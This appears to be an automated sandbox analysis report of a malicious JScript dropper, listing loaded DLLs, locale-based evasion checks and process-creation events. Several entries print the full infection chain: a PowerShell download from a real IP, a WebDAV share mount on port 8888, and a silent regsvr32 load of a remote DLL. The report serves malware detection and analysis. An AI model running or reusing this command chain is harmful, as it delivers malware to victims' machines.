Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6716.js.csv");ITextStream.WriteLine(" entry:8420 f:wsanfojtu");ITextStream.WriteLine(" exec:2 f:wsanfojtu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4335			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4951			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852	Thread sleep count: 4335 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852	Thread sleep count: 4951 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6572	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6584	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7744	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3334637742.0000012A7882B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0p
Source: net.exe, 00000007.00000003.2110224140.0000025C611D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111236257.0000025C611D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3336619958.0000012A7DE54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
